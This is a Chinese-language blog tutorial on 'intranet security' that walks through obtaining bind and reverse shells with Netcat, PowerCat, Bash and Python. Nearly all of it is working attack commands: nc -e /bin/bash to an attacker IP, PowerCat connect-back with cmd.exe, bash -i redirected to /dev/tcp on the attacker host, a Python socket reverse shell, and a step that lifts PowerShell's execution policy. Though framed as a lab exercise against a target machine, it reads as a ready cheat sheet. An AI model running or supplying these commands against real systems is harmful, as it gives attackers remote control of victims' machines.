当前位置: 首页 > article >正文

内网安全:反弹shell

目录

一.Netcat反弹Shell

二.PowerCat反弹Shell

PowerCat和nc正向连接

PowerCat和nc反向连接

PowerCat和PowerCat反向连接

三.Bash反弹shell

四.Python 反弹Shell


一.Netcat反弹Shell

在Windows容易被杀

介绍:

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作,常用参数如下

注意:这里需要关闭靶机的防火墙,做NC反弹的时候,前提你也经控制了对方电脑

正向反弹:

场景:攻击机器和靶机都是在公网上,都能互ping,这个时候可以用正向反弾

利用:

1.在靶机上运行:

nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器

nc -lvvp 1111 -e /bin/bash linux机器

这里以Linux作演示

2在攻击机上运行:

nc -v 靶机IP 1111

3.拿到shell

反向反弹:

实验前提:

攻击机器在公网上,靶机在内网里面,这时候需要靶机反向链接攻击机器,也就是反向反弹

利用:

1在攻击者机器运行:

nc -lvvp 1111 监听1111端口

2.在靶机上运行 (反弹到公网)

nc -e C:\Windows\System32\cmd.exe 攻击IP 1111 windos机器

nc -e /bin/bash 攻击IP 1111 linux机器

这里用Linux作演示

3.拿到反向的shell

二.PowerCat反弹Shell

和NC作用一样,只能用于Windows

介绍:可以无文件落地

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

利用:

1.导入模块:

Import-Module .\powercat.ps1

如果提示未能加载指定模块,则可能是权限问题,输入如下代码

Set-ExecutionPolicy Unrestricted

PowerCat和nc正向连接

1、靶机使用powercat执行以下命令:

powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令:

nc -v 靶机IP 8080 -vv

3.成功反弹

PowerCat和nc反向连接

1、靶机使用powercat执行以下命令

powercat -c 攻击机IP -p 8888 -v -e cmd.exe

2、攻击机使用nc执行以下命令:

nc -l -p 8888 -vv

3.成功反弹

PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令:

powercat -c 攻击机器IP -p 9999 -v -ep

2、攻击机使用powercat执行以下命令:

powercat -l -p 9999 -v

3.成功反弹

三.Bash反弹shell

介绍:传输层的隧道

** Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell**

** Bash 反弹Shell的命令如下:**

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

利用:

1、攻击机器使用nc执行监听命令**

nc -lvvp 9999 监听 TCP

nc -lup 9999 监听UDP (UDP不稳定)

2、实验靶机执行连接命令

bash -i >&/dev/tcp/攻击机器IP/9999 0>&1

3.成功反弹

四.Python 反弹Shell

利用:

1、攻击机器使用nc执行监听命令

nc -lvvp 1111 监听 TCP

2、实验靶机执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3.成功反弹


http://www.kler.cn/a/298567.html

相关文章:

  • 2、蓝牙打印机点灯-GPIO输出控制
  • Flutter:封装一个自用的bottom_picker选择器
  • Agent | Dify中的两种可选模式
  • Boost.Asio 同步读写及客户端 - 服务器实现详解
  • 《Spring Framework实战》4:Spring Framework 文档
  • 小程序组件 —— 30 组件 - 背景图片的使用
  • 代码随想录算法训练营第二十三天| 455. 分发饼干、376. 摆动序列、53. 最大子序和
  • 07_React 路由
  • JVM合集
  • C语言详细笔记--动态存储分配
  • es6中解构赋值
  • Python编程实例-使用Panda进行数据清洗
  • Excel文档的读入(4)
  • Dockerfile中的RUN、CMD、ENTRYPOINT指令区别
  • 天气API使用记
  • 常用设计模式的通俗解释和c语言实现
  • 时空特征融合方向小论文创新点一次性都给你!看到就是赚到
  • Containerd从harbor拉镜像报错
  • java opencv no opencv_java490 in java.library.path
  • 数字经济时代,零售企业如何实现以消费者为中心的数字化转型?
  • 【前端】ui交互设计是什么?它和前端开发有什么关系
  • docker 简易入门
  • tabBar设置底部导航栏
  • 威胁建模STRIDE框架
  • 如何做好API安全
  • 如果美国衰退现货黄金市场怎样分析